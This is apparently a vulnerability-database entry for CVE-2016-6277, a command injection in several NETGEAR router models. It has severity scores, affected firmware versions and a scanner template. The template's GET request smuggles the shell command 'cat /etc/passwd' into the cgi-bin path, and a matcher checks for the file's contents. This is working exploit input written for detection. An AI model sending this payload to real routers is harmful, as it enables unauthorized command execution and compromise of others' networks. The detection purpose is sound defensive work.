NETGEAR Routers - Remote Code Execution

2021-09-0409:45:28

ProjectDiscovery

github.com

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9 High

AI Score

Confidence

High

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

JSON

NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.

id: CVE-2016-6277

info:
  name: NETGEAR Routers - Remote Code Execution
  author: pikpikcu
  severity: high
  description: NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to unauthorized access, data theft, or network compromise.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-6277
    - http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
    - https://www.kb.cert.org/vuls/id/582384
    - http://kb.netgear.com/000036386/CVE-2016-582384
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-6277
    cwe-id: CWE-352
    epss-score: 0.97471
    epss-percentile: 0.99962
    cpe: cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: d6220_firmware
  tags: cve2016,cve,netgear,rce,iot,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220486802970cc24d96538b869531c7a01ec169cb576278c3edad08fb0b3171abc802206eba1c836af2a9bbfbf9b2fc2efec581afdaeb05159f11aa43a1a80f99cc78df:922c64590222798bb761d5b6d8e72950